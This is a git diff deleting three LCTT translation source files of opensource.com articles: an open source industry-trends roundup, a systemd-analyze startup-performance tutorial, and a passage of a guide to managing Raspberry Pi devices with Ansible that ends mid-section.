/dev/null @@ -1,69 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The future of virtual conferences, service mesh, and more industry trends) -[#]: via: (https://opensource.com/article/20/9/virtual-conferences-service-mesh-industry-trends) -[#]: author: (Tim Hildred https://opensource.com/users/thildred) - -The future of virtual conferences, service mesh, and more industry trends -====== -A weekly look at open source community and industry trends. -![Computer laptop in space][1] - -As part of my role as a principal communication strategist at an enterprise software company with an open source development model, I publish a regular update about open source community, market, and industry trends. Here are some of my and their favorite articles from that update. - -## [Enough with the Linux security FUD][2] - -> Whether you're running Windows Server, Linux, NetBSD, whatever on your mission-critical systems, if you utterly fail at security, it doesn't matter how "secure" your operating system is. It's like leaving your car keys in an unlocked car, your system will be hacked, your car will be stolen.  - -**The impact**: I worry a bit about the organizations at the size that comes before "can afford fulltime expert IT" where you might find someone who likes computers taking on that responsibility by default. If that sounds like you or your organization, get that person some training! - -## [A look back at our FIRST KubeCon + CloudNativeCon virtual conference][3] - -> The first virtual KubeCon + CloudNativeCon just wrapped up and it was a huge success thanks to our amazing community of doers – builders, operators and advocates. We are so thrilled that the cloud native community came together with hope and positivity to make this a truly community-driven event we will remember for a long time. We may not have been able to meet in person this year but we are indomitable!  - -**The impact**: These virtual experiences keep getting better and adding to the state of the art; running them requires important muscles that have until this point gone underused. Whatever else happens as the pandemic progresses, I hope we get a sense of "if we really think hard about it, we can build powerful bonds within our communities without airfares and hotel rooms." It doesn't have to be the same as sharing a beer to be impactful. - -## [Istio 1.7: Security improvements take centre stage as users continue to speculate about the service mesh’s future][4] - -> Lately, Istio has been anything but boring, especially after originator Google came into some criticism for handing the project’s trademarks over to its recently founded [Open Usage Commons][5]. The step led to some turmoil, raising questions about how neutral OUC really was as well as basically smothering the hopes of those who had wished for Istio to become a CNCF project one day. [According to IBM][6], a founding member of the project, there had actually been an “agreement” to do so with Google, which only seems sensible, given that the Envoy proxy, which is central to Istio, has found a vendor-neutral home at the organisation. - -**The impact**: My guess is that the project has enough adoption and functionality leading over competitive projects that it would take some truly dastardly governance to blow it. - -## [Z is for Zowe–the open path to mainframe DevOps][7] - -> This article describes the framework’s ability to onboard the mainframe to enterprise DevOps, so developers, systems programmers and others who work with the mainframe can now do so the same way their peers do with other IT platforms (i.e., cloud, mobile, distributed). These shared experiences close the gap between mainframers and others while preserving the core advantages of the platform. Common tools fuel a common language that benefits all, especially when deploying hybrid applications (e.g., web front-end with mainframe back-end). - -**The impact**: The point about common tools fueling a common language is subtle but important. Tools for tools' sake won't get you very far; bringing more minds to bear on a problem will. - -## [Tiering self-service by user competence][8] - -> The degree to which each team can reasonably create its own configurations is related to the team’s competence with cloud solution architecture, cloud engineering, and cloud security. Not every person on the team may have a high level of competence; in fact, that will generally not be the case. However, the very least, for full self-service there needs to be at least one person with strong competencies in each of those areas, who has oversight responsibilities, acts an expert (provides assistance/mentorship within the team), and does any necessary code review. - -**The impact**: We do it for driving cars and learning to ski; so why shouldn't we do it when it comes to letting people deploy sometimes critical applications? - -_I hope you enjoyed this list and come back next week for more open source community, market, and industry trends._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/virtual-conferences-service-mesh-industry-trends - -作者:[Tim Hildred][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/thildred -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_space_graphic_cosmic.png?itok=wu493YbB (Computer laptop in space) -[2]: https://www.zdnet.com/article/enough-with-the-linux-security-fud/#ftag=RSSbaffb68 -[3]: https://www.cncf.io/blog/2020/08/26/a-look-back-at-our-first-kubecon-cloudnativecon-virtual-conference/ -[4]: https://devclass.com/2020/08/24/istio-service-mesh-1_7/ -[5]: https://istio.io/latest/blog/2020/open-usage/ -[6]: https://developer.ibm.com/blogs/istio-google-open-usage-commons/ -[7]: https://devops.com/z-is-for-zowe-the-open-path-to-mainframe-devops/ -[8]: https://cloudpundit.com/2020/08/10/tiering-self-service-by-user-competence/ diff --git a/sources/tech/20200916 Analyze Linux startup performance.md b/sources/tech/20200916 Analyze Linux startup performance.md deleted file mode 100644 index 855251cfc1..0000000000 --- a/sources/tech/20200916 Analyze Linux startup performance.md +++ /dev/null @@ -1,422 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Analyze Linux startup performance) -[#]: via: (https://opensource.com/article/20/9/systemd-startup-configuration) -[#]: author: (David Both https://opensource.com/users/dboth) - -Analyze Linux startup performance -====== -Use systemd-analyze to get insights and solve problems with Linux -startup performance. -![Magnifying glass on code][1] - -Part of the system administrator's job is to analyze the performance of systems and to find and resolve problems that cause poor performance and long startup times. Sysadmins also need to check other aspects of systemd configuration and usage. - -The systemd init system provides the `systemd-analyze` tool that can help uncover performance problems and other important systemd information. In a previous article, [_Analyzing systemd calendar and timespans_][2], I used `systemd-analyze` to analyze timestamps and timespans in systemd timers, but this tool has many other uses, some of which I will explore in this article. - -### Startup overview - -The Linux startup sequence is a good place to begin exploring because many `systemd-analyze` tool functions are targeted at startup. But first, it is important to understand the difference between boot and startup. The boot sequence starts with the BIOS power-on self test (POST) and ends when the kernel is finished loading and takes control of the host system, which is the beginning of startup and the point when the systemd journal begins. - -In the second article in this series, [_Understanding systemd at startup on Linux_][3], I discuss startup in a bit more detail with respect to what happens and in what sequence. In this article, I want to examine the startup sequence to look at the amount of time it takes to go through startup and which tasks take the most time. - -The results I'll show below are from my primary workstation, which is much more interesting than a virtual machine's results. This workstation consists of an ASUS TUF X299 Mark 2 motherboard, an Intel i9-7960X CPU with 16 cores and 32 CPUs (threads), and 64GB of RAM. Some of the commands below can be run by a non-root user, but I will use root in this article to prevent having to switch between users. - -There are several options for examining the startup sequence. The simplest form of the `systemd-analyze` command displays an overview of the amount of time spent in each of the main sections of startup, the kernel startup, loading and running `initrd` (i.e., initial ramdisk, a temporary system image that is used to initialize some hardware and mount the `/` [root] filesystem), and userspace (where all the programs and daemons required to bring the host up to a usable state are loaded). If no subcommand is passed to the command, `systemd-analyze time` is implied: - - -``` -[root@david ~]$ systemd-analyze -Startup finished in 53.921s (firmware) + 2.643s (loader) + 2.236s (kernel) + 4.348s (initrd) + 10.082s (userspace) = 1min 13.233s -graphical.target reached after 10.071s in userspace -[root@david ~]# -``` - -The most notable data in this output is the amount of time spent in firmware (BIOS): almost 54 seconds. This is an extraordinary amount of time, and none of my other physical systems take anywhere near as long to get through BIOS. - -My System76 Oryx Pro laptop spends only 8.506 seconds in BIOS, and all of my home-built systems take a bit less than 10 seconds. After some online searches, I found that this motherboard is known for its inordinately long BIOS boot time. My motherboard never "just boots." It always hangs, and I need to do a power off/on cycle, and then BIOS starts with an error, and I need to press F1 to enter BIOS configuration, from where I can select the boot drive and finish the boot. This is where the extra time comes from. - -Not all hosts show firmware data. My unscientific experiments lead me to believe that this data is shown only for Intel generation 9 processors or above. But that could be incorrect. - -This overview of the boot startup process is interesting and provides good (though limited) information, but there is much more information available about startup, as I'll describe below. - -### Assigning blame - -You can use `systemd-analyze blame` to discover which systemd units take the most time to initialize. The results are displayed in order by the amount of time they take to initialize, from most to least: - - -``` -[root@david ~]$ systemd-analyze blame                                                                         -       5.417s NetworkManager-wait-online.service                                                       -       3.423s dracut-initqueue.service                                                                 -       2.715s systemd-udev-settle.service                                                               -       2.519s fstrim.service                                                                           -       1.275s udisks2.service                                                                           -       1.271s smartd.service                                                                           -        996ms upower.service                                                                           -        637ms lvm2-monitor.service                                                                     -        533ms lvm2-pvscan@8:17.service                                                                 -        520ms dmraid-activation.service                                                                 -        460ms vboxdrv.service                                                                           -        396ms initrd-switch-root.service -<SNIP – removed lots of entries with increasingly small times> -``` - -Because many of these services start in parallel, the numbers may add up to significantly more than the total given by `systemd-analyze time` for everything after the BIOS. All of these are small numbers, so I cannot find any significant savings here. - -The data from this command can provide indications about which services you might consider to improve boot times. Services that are not used can be disabled. There does not appear to be any single service that is taking an excessively long time during this startup sequence. You may see different results for each boot and startup. - -### Critical chains - -Like the critical path in project management, a _critical chain_ shows the time-critical chain of events that take place during startup. These are the systemd units you want to look at if startup is slow, as they are the ones that would cause delays. This tool does not display all the units that start, only those in this critical chain of events: - - -``` -[root@david ~]# systemd-analyze critical-chain -The time when unit became active or started is printed after the "@" character. -The time the unit took to start is printed after the "+" character. - -graphical.target @10.071s -└─lxdm.service @10.071s -  └─plymouth-quit.service @10.047s +22ms -    └─systemd-user-sessions.service @10.031s +7ms -      └─remote-fs.target @10.026s -        └─remote-fs-pre.target @10.025s -          └─nfs-client.target @4.636s -            └─gssproxy.service @4.607s +28ms -              └─network.target @4.604s -                └─NetworkManager.service @4.383s +219ms -                  └─dbus-broker.service @4.434s +136ms -                    └─dbus.socket @4.369s -                      └─sysinit.target @4.354s -                        └─systemd-update-utmp.service @4.345s +9ms -                          └─auditd.service @4.301s +42ms -                            └─systemd-tmpfiles-setup.service @4.254s +42ms -                              └─import-state.service @4.233s +19ms -                                └─local-fs.target @4.229s -                                  └─Virtual.mount @4.019s +209ms -                                    └─systemd-fsck@dev-mapper-vg_david2\x2dVirtual.service @3.742s +274ms -                                      └─local-fs-pre.target @3.726s -                                        └─lvm2-monitor.service @356ms +637ms -                                          └─dm-event.socket @319ms -                                            └─-.mount -                                              └─system.slice -                                                └─-.slice -[root@david ~]# -``` - -The numbers preceded with `@` show the absolute number of seconds since startup began when the unit becomes active. The numbers preceded by `+` show the amount of time it takes for the unit to start. - -### System state - -Sometimes you need to determine the system's current state. The `systemd-analyze dump` command dumps a _massive_ amount of data about the current system state. It starts with a list of the primary boot timestamps, a list of each systemd unit, and a complete description of the state of each: - - -``` -[root@david ~]# systemd-analyze dump -Timestamp firmware: 1min 7.983523s -Timestamp loader: 3.872325s -Timestamp kernel: Wed 2020-08-26 12:33:35 EDT -Timestamp initrd: Wed 2020-08-26 12:33:38 EDT -Timestamp userspace: Wed 2020-08-26 12:33:42 EDT -Timestamp finish: Wed 2020-08-26 16:33:56 EDT -Timestamp security-start: Wed 2020-08-26 12:33:42 EDT -Timestamp security-finish: Wed 2020-08-26 12:33:42 EDT -Timestamp generators-start: Wed 2020-08-26 16:33:42 EDT -Timestamp generators-finish: Wed 2020-08-26 16:33:43 EDT -Timestamp units-load-start: Wed 2020-08-26 16:33:43 EDT -Timestamp units-load-finish: Wed 2020-08-26 16:33:43 EDT -Timestamp initrd-security-start: Wed 2020-08-26 12:33:38 EDT -Timestamp initrd-security-finish: Wed 2020-08-26 12:33:38 EDT -Timestamp initrd-generators-start: Wed 2020-08-26 12:33:38 EDT -Timestamp initrd-generators-finish: Wed 2020-08-26 12:33:38 EDT -Timestamp initrd-units-load-start: Wed 2020-08-26 12:33:38 EDT -Timestamp initrd-units-load-finish: Wed 2020-08-26 12:33:38 EDT --> Unit system.slice: -        Description: System Slice -        Instance: n/a -        Unit Load State: loaded -        Unit Active State: active -        State Change Timestamp: Wed 2020-08-26 12:33:38 EDT -        Inactive Exit Timestamp: Wed 2020-08-26 12:33:38 EDT -        Active Enter Timestamp: Wed 2020-08-26 12:33:38 EDT -        Active Exit Timestamp: n/a -        Inactive Enter Timestamp: n/a -        May GC: no -<SNIP – Deleted a bazillion lines of output> -``` - -On my main workstation, this command generated a stream of 49,680 lines and about 1.66MB. This command is very fast, so you don't need to wait for the results. - -I do like the wealth of detail provided for the various connected devices, such as storage. Each systemd unit has a section with details such as modes for various runtimes, cache, and log directories, the command line used to start the unit, the process ID (PID), the start timestamp, as well as memory and file limits. - -The man page for `systemd-analyze` shows the `systemd-analyze --user dump` option, which is intended to display information about the internal state of the user manager. This fails for me, and internet searches indicate that there may be a problem with it. In systemd, `--user` instances are used to manage and control the resources for the hierarchy of processes belonging to each user. The processes for each user are part of a control group, which I'll cover in a future article. - -### Analytic graphs - -Most pointy-haired-bosses (PHBs) and many good managers find pretty graphs easier to read and understand than the text-based system performance data I usually prefer. Sometimes, though, even I like a good graph, and `systemd-analyze` provides the capability to display boot/startup data in an [SVG][4] vector graphics chart. - -The following command generates a vector graphics file that displays the events that take place during boot and startup. It only takes a few seconds to generate this file: - - -``` -`[root@david ~]# systemd-analyze plot > /tmp/bootup.svg` -``` - -This command creates an SVG, which is a text file that defines a series of graphic vectors that applications, including Image Viewer, Ristretto, Okular, Eye of Mate, LibreOffice Draw, and others, use to generate a graph. These applications process SVG files to create an image. - -I used LibreOffice Draw to render a graph. The graph is huge, and you need to zoom in considerably to make out any detail. Here is a small portion of it: - -![The bootup.svg file displayed in LibreOffice Draw.][5] - -(David Both, [CC BY-SA 4.0][6]) - -The bootup sequence is to the left of the zero (0) on the timeline in the graph, and the startup sequence is to the right of zero. This small portion shows the kernel, `initrd`, and the processes `initrd` started. - -This graph shows at a glance what started when, how long it took to start up, and the major dependencies. The critical path is highlighted in red. - -Another command that generates graphical output is `systemd-analyze plot`. It generates textual dependency graph descriptions in [DOT][7] format. The resulting data stream is then piped through the `dot` utility, which is part of a family of programs that can be used to generate vector graphic files from various types of data. These SVG files can also be processed by the tools listed above. - -First, generate the file. This took almost nine minutes on my primary workstation: - - -``` -[root@david ~]# time systemd-analyze dot | dot -Tsvg > /tmp/test.svg -   Color legend: black     = Requires -                 dark blue = Requisite -                 dark grey = Wants -                 red       = Conflicts -                 green     = After - -real    8m37.544s -user    8m35.375s -sys     0m0.070s -[root@david ~]# -``` - -I won't reproduce the output here because the resulting graph is pretty much spaghetti. But you should try it and view the result to see what I mean. - -### Conditionals - -One of the more interesting, yet somewhat generic, capabilities I discovered while reading the `systemd-analyze(1)` man page is the `condition` subcommand. (Yes—I do read the man pages, and it is amazing what I have learned this way!) This `condition` subcommand can be used to test the conditions and asserts that can be used in systemd unit files. - -It can also be used in scripts to evaluate one or more conditions—it returns a zero (0) if all are met or a one (1) if any condition is not met. In either case, it also spews text about its findings. - -The example below, from the man page, is a bit complex. It tests for a kernel version between 4.0 and 5.1, that the host is running on AC power, that the system architecture is anything but ARM, and that the directory `/etc/os-release` exists. I added the `echo $?` statement to print the return code. - - -``` -[root@david ~]# systemd-analyze condition 'ConditionKernelVersion = ! <4.0' \ -                    'ConditionKernelVersion = >=5.1' \ -                    'ConditionACPower=|false' \ -                    'ConditionArchitecture=|!arm' \ -                    'AssertPathExists=/etc/os-release' ; \ -echo $? -test.service: AssertPathExists=/etc/os-release succeeded. -Asserts succeeded. -test.service: ConditionArchitecture=|!arm succeeded. -test.service: ConditionACPower=|false failed. -test.service: ConditionKernelVersion=>=5.1 succeeded. -test.service: ConditionKernelVersion=!<4.0 succeeded. -Conditions succeeded. -0 -[root@david ~]# -``` - -The list of conditions and asserts starts around line 600 on the `systemd.unit(5)` man page. - -### Listing configuration files - -The `systemd-analyze` tool provides a way to send the contents of various configuration files to `STDOUT`, as shown here. The base directory is `/etc/`: - - -``` -[root@david ~]# systemd-analyze cat-config systemd/system/display-manager.service -# /etc/systemd/system/display-manager.service -[Unit] -Description=LXDM (Lightweight X11 Display Manager) -#Documentation=man:lxdm(8) -Conflicts=[getty@tty1.service][8] -After=systemd-user-sessions.service [getty@tty1.service][8] plymouth-quit.service livesys-late.service -#Conflicts=plymouth-quit.service - -[Service] -ExecStart=/usr/sbin/lxdm -Restart=always -IgnoreSIGPIPE=no -#BusName=org.freedesktop.lxdm - -[Install] -Alias=display-manager.service -[root@david ~]# -``` - -This is a lot of typing to do nothing more than a standard `cat` command does. I find the next command a tiny bit helpful. It can search out files with the specified pattern within the standard systemd locations: - - -``` -[root@david ~]# systemctl cat backup* -# /etc/systemd/system/backup.timer -# This timer unit runs the local backup program -# (C) David Both -# Licensed under GPL V2 -# - -[Unit] -Description=Perform system backups -Requires=backup.service - -[Timer] -Unit=backup.service -OnCalendar=*-*-* 00:15:30 - -[Install] -WantedBy=timers.target - -# /etc/systemd/system/backup.service -# This service unit runs the rsbu backup program -# By David Both -# Licensed under GPL V2 -# - -[Unit] -Description=Backup services using rsbu -Wants=backup.timer - -[Service] -Type=oneshot -Environment="HOME=/root" -ExecStart=/usr/local/bin/rsbu -bvd1 -ExecStart=/usr/local/bin/rsbu -buvd2 - -[Install] -WantedBy=multi-user.target - -[root@david ~]# -``` - -Both of these commands preface the contents of each file with a comment line containing the file's full path and name. - -### Unit file verification - -After creating a new unit file, it can be helpful to verify that its syntax is correct. This is what the `verify` subcommand does. It can list directives that are spelled incorrectly and call out missing service units: - - -``` -`[root@david ~]# systemd-analyze verify /etc/systemd/system/backup.service` -``` - -Adhering to the Unix/Linux philosophy that "silence is golden," a lack of output messages means that there are no errors in the scanned file. - -### Security - -The `security` subcommand checks the security level of specified services. It only works on service units and not on other types of unit files: - - -``` -[root@david ~]# systemd-analyze security display-manager -  NAME                                                        DESCRIPTION                                                     > -✗ PrivateNetwork=                                             Service has access to the host's network                        > -✗ User=/DynamicUser=                                          Service runs as root user                                       > -✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities              > -✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                            > -✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                        > -✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                           > -✗ RestrictNamespaces=~CLONE_NEWUSER                           Service may create user namespaces                              > -✗ RestrictAddressFamilies=~…                                  Service may allocate exotic sockets                             > -✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unres> -✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks            > -✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                    > -✗ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service may load kernel modules -<SNIP> -✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                     > -✗ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service may program timers that wake up the system              > -✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                              > - -→ Overall exposure level for backup.service: 9.6 UNSAFE 😨 -lines 34-81/81 (END) -``` - -Yes, the emoji is part of the output. But, of course, many services need pretty much complete access to everything in order to do their work. I ran this program against several services, including my own backup service; the results may differ, but the bottom line seems to be mostly the same. - -This tool would be very useful for checking and fixing userspace service units in security-critical environments. I don't think it has much to offer for most of us. - -### Final thoughts - -This powerful tool offers some interesting and amazingly useful options. Much of what this article explores is about using `systemd-analyze` to provide insights into Linux's startup performance using systemd. It can also analyze other aspects of systemd. - -Some of these tools are of limited use, and a couple should be forgotten completely. But most can be used to good effect when resolving problems with startup and other systemd functions. - -### Resources - -There is a great deal of information about systemd available on the internet, but much is terse, obtuse, or even misleading. In addition to the resources mentioned in this article, the following webpages offer more detailed and reliable information about systemd startup. This list has grown since I started this series of articles to reflect the research I have done. - - * The [systemd.unit(5) manual page][9] contains a nice list of unit file sections and their configuration options along with concise descriptions of each. - * The Fedora Project has a good, practical [guide to systemd][10]. It has pretty much everything you need to know in order to configure, manage, and maintain a Fedora computer using systemd. - * The Fedora Project also has a good [cheat sheet][11] that cross-references the old SystemV commands to comparable systemd ones. - * Red Hat documentation contains a good description of the [Unit file structure][12] as well as other important information.   - * For detailed technical information about systemd and the reasons for creating it, check out Freedesktop.org's [description of systemd][13]. - * [Linux.com][14]'s "More systemd fun" offers more advanced systemd [information and tips][15]. - - - -There is also a series of deeply technical articles for Linux sysadmins by Lennart Poettering, the designer and primary developer of systemd. These articles were written between April 2010 and September 2011, but they are just as relevant now as they were then. Much of everything else good that has been written about systemd and its ecosystem is based on these papers. - - * [Rethinking PID 1][16] - * [systemd for Administrators, Part I][17] - * [systemd for Administrators, Part II][18] - * [systemd for Administrators, Part III][19] - * [systemd for Administrators, Part IV][20] - * [systemd for Administrators, Part V][21] - * [systemd for Administrators, Part VI][22] - * [systemd for Administrators, Part VII][23] - * [systemd for Administrators, Part VIII][24] - * [systemd for Administrators, Part IX][25] - * [systemd for Administrators, Part X][26] - * [systemd for Administrators, Part XI][27] - - - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/systemd-startup-configuration - -作者:[David Both][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dboth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/find-file-linux-code_magnifying_glass_zero.png?itok=E2HoPDg0 (Magnifying glass on code) -[2]: https://opensource.com/article/20/7/systemd-calendar-timespans -[3]: https://opensource.com/article/20/5/systemd-startup?utm_campaign=intrel -[4]: https://en.wikipedia.org/wiki/Scalable_Vector_Graphics -[5]: https://opensource.com/sites/default/files/uploads/bootup.svg-graph.png (The bootup.svg file displayed in LibreOffice Draw.) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://en.wikipedia.org/wiki/DOT_(graph_description_language) -[8]: mailto:getty@tty1.service -[9]: https://man7.org/linux/man-pages/man5/systemd.unit.5.html -[10]: https://docs.fedoraproject.org/en-US/quick-docs/understanding-and-administering-systemd/index.html -[11]: https://fedoraproject.org/wiki/SysVinit_to_Systemd_Cheatsheet -[12]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_basic_system_settings/managing-services-with-systemd_configuring-basic-system-settings#Managing_Services_with_systemd-Unit_File_Structure -[13]: https://www.freedesktop.org/wiki/Software/systemd/ -[14]: http://Linux.com -[15]: https://www.linux.com/training-tutorials/more-systemd-fun-blame-game-and-stopping-services-prejudice/ -[16]: http://0pointer.de/blog/projects/systemd.html -[17]: http://0pointer.de/blog/projects/systemd-for-admins-1.html -[18]: http://0pointer.de/blog/projects/systemd-for-admins-2.html -[19]: http://0pointer.de/blog/projects/systemd-for-admins-3.html -[20]: http://0pointer.de/blog/projects/systemd-for-admins-4.html -[21]: http://0pointer.de/blog/projects/three-levels-of-off.html -[22]: http://0pointer.de/blog/projects/changing-roots -[23]: http://0pointer.de/blog/projects/blame-game.html -[24]: http://0pointer.de/blog/projects/the-new-configuration-files.html -[25]: http://0pointer.de/blog/projects/on-etc-sysinit.html -[26]: http://0pointer.de/blog/projects/instances.html -[27]: http://0pointer.de/blog/projects/inetd.html diff --git a/sources/tech/20200916 Manage your Raspberry Pi fleet with Ansible.md b/sources/tech/20200916 Manage your Raspberry Pi fleet with Ansible.md deleted file mode 100644 index 42d39c2843..0000000000 --- a/sources/tech/20200916 Manage your Raspberry Pi fleet with Ansible.md +++ /dev/null @@ -1,229 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Manage your Raspberry Pi fleet with Ansible) -[#]: via: (https://opensource.com/article/20/9/raspberry-pi-ansible) -[#]: author: (Ken Fallon https://opensource.com/users/kenfallon) - -Manage your Raspberry Pi fleet with Ansible -====== -A solution to the problem of updating difficult-to-reach Raspberry Pis -in the enterprise. -![Raspberries with pi symbol overlay][1] - -The Raspberry Pi is a small, versatile device that makes interfacing with the real world a breeze for mere mortals. The Raspberry Pi Foundation's idea was to sell the devices at such a low cost that breaking one would be sad—but not a disaster. This is one reason it has been a massive success as an [educational tool][2]. But their usefulness has not escaped the business world, where they are becoming a valuable tool for automating the physical world. - -Whether they are used for powering information displays, automating testing, controlling machinery, monitoring an environment, or doing other tasks, enterprises see Raspberry Pis as serious devices for doing serious tasks. Each model has a long product lifecycle—even the older models ([1B+][3], [2B][4], [3A+][5], [3B][6], and [3B+][7]) will remain in production until at least January 2026. There is little risk that they will go obsolete, so you can maintain a sufficiently large stock and treat them as modular components that you replace rather than fix. - -### Stable hardware vs. changing software - -While you can rely on the hardware to remain constant, the same is not true for the software. The Raspberry Pi's official supported operating system is [Raspberry Pi OS][8] (previously called Raspbian), and it should be updated regularly to get the latest [security and bug fixes][9]. - -This presents a problem. Because Raspberry Pis provide a bridge between the physical and virtual worlds, they are often installed in difficult-to-reach locations. They also tend to be installed by hardware folks, typically electricians for plants and assembly technicians for products. You do not want to waste their time by requiring them to connect a keyboard and monitor, log in [to run `raspi-config`][10], install software with `apt-get`, and then configure the software. - -Since Raspberry Pi OS boots off an SD card, one approach is to always maintain an up-to-date version of the software on the SD card that the installer can just plug (and hot glue) in. A good quality assurance (QA) department will keep the SD cards under version control, so you can be assured that all new installations are on the latest release. But this solution is costly to maintain since every software update requires preparing a new image and burning it to all the SD cards. It also doesn't address how to fix all your existing devices. In some cases, you may need to create custom images for specific Raspberry Pis doing specific jobs, and it may be unavoidable that you need an installer to connect a keyboard and monitor to configure something. - -A better approach is to use the same minimal base operating system install and then use [network boot][11] to maintain all the customizations and updates on the network. This requires maintaining just one base image, which is easier to manage, so it is a good approach if you have a reliable network infrastructure. Unfortunately, not all networks support this method; as the Raspberry Pi's network boot documentation says: "Due to the huge range of networking devices available, we can't guarantee that network booting will work with any device." Sadly, it is no longer an option on the [Raspberry Pi 4][12]. Furthermore, this is not an option when devices are disconnected from the network for a long period of time. - -The better goal, therefore, is to produce a common base Raspberry Pi OS image that doesn't change often but, once it's installed, can automatically be customized, maintained, and managed remotely. - -### Create the base image - -Your base image will almost certainly need small changes from the default Raspberry Pi OS image. Fortunately, you only need to recreate the base image if the Raspberry Pi OS image is updated or you need to change something in your configuration. The typical time between major versions of Raspberry Pi OS is about two years, which is a good target maintenance lifecycle. It gives you plenty of time to swap out older devices for new ones while keeping things manageable for the QA department to maintain releases. Older versions will still be supported for security and bug fixes for [some time][13] after that. - -On my Hacker Public Radio episode _[Safely enabling SSH in the default Raspbian image][14]_ in 2017, I walked through the steps to automate updating the base image. The script I created: - - * Downloads the latest image ZIP file - * Verifies it is valid - * Extracts the image itself - * Enables SSH for secure remote management - * Changes the default passwords for the root and Pi users - * Secures the SSH server on the Pi - - - -Since then, I have augmented the script to: - - * Enable connections to a WiFi network (`wpa_supplicant.conf`) - * Load its configuration from an INI file, keeping sensitive information separate from the main script. - * Use [`losetup` to simplify mounting][15] the image - * Create a [firstboot script][16] - - - -These changes ensure that the devices are locked down before deploying them. You can find an updated version of the [fix-ssh-on-pi script][17] on GitHub. - -Now is a good time to modify the script for your environment and especially to add any security keys or digital certificates necessary for authentication. However, it's best to hold off adding any custom applications or configurations at this point, as they can be added later. For the most part, the image will behave like a generic Raspberry Pi OS image, meaning it will boot and resize the SD card as usual and install the typical default software and firmware. - -The notable addition is support for a firstboot script. This is the glue that makes the Raspberry Pi run your custom configuration after the first time it configures itself. Again, I encourage you to modify the script for your environment. For example, you can have the device register itself, run through a system test and diagnostic procedures, pull down a client application, etc. - -If you don't want to customize it, it will do the bare minimum needed to get your Raspberry Pi on the network so that it can be uniquely identified by the network-management software. - -### Set up automatic management - -If you're managing servers in a [DevOps][18] environment, you won't blink an eye at the idea of using [configuration management software][19] to control your Raspberry Pi devices. If you use a tool that requires an agent, you can include the agent software as part of the base image. Given the resources on the Raspberry Pi, though, an agentless solution such as [Ansible][20] might be the best option. It just uses SSH and Python, doesn't require any additional software on the client, the control software is easy to install, and it is easy to use. - -All you need is the [Ansible software][21], a list of devices you want to manage saved in an [inventory file][22], and a [playbook][23], which is a set of instructions that you want carried out. For example, you can [update][9] the base Raspberry Pi OS image using the `apt update && apt full-upgrade` equivalent [apt module][24]. The playbook would be: - - -``` - - name: Run the equivalent of "apt-get update" as a separate step -    apt: -      update_cache: true -      cache_valid_time: 3600 -  - name: Update all packages to the latest version -    apt: -      upgrade: dist -``` - -You may think installing Ansible for Raspberry Pi is overkill, but I find it is worthwhile if you need to manage more than two or three computers. Using Ansible also gives you a more hygienic network—your inventory is audited and listed in its host file, software installations are documented through its playbooks, and data and configurations are kept away from their devices, so they are easier to back up regularly. - -According to [Wikipedia][25], Ansible's design goals include: - -> * **Minimal in nature**. Management systems should not impose additional dependencies on the environment. -> * **Consistent**. With Ansible, one should be able to create consistent environments. -> * **Secure**. Ansible does not deploy agents to nodes. Only OpenSSH and Python are required on the managed nodes. -> * **Highly reliable**. When carefully written, an Ansible playbook can be [idempotent][26] to prevent unexpected side effects on the managed systems. It is entirely possible to have a poorly written playbook that is not idempotent. -> * **Minimal learning required**. Playbooks use an easy and descriptive language based on YAML and Jinja templates. -> - - -Anyone with the correct authorization can configure a device, but you can limit authorization using standard Unix permissions. You can apply granular access to playbooks so that, for example, test operators can access just the test and diagnostic tools you install. - -### How it works - -Imagine you have a widget factory that includes a Raspberry Pi in its product. Your facilities team also uses them to monitor the environmental plant and security. Likewise, the engineering team uses the devices on the production lines within the manufacturing monitoring process. And the IT department uses them as disposable dumb terminals to access the head office enterprise resource planning ([ERP][27]) system. In all of these cases, downtime needs to be kept to a minimum. - -We aim to deliver the exact same device with the exact same image to each of the teams. - -#### Preparing the image - -Common to all stages is preparing the image itself. After cloning the [fix-ssh-on-pi.bash script from github][17], a one time action is needed to edit and rename the files `fix-ssh-on-pi.ini_example` to `fix-ssh-on-pi.ini`, and `wpa_supplicant.conf_example` to `wpa_supplicant.conf`. - -You only need to run the script any time that [Raspberry Pi OS][8](Raspbian) is updated, or when you changed your configuration files. I would recommend including this as part of your devops workflow. If you don’t have that in place yet then it can be automated using a simple cron job. - 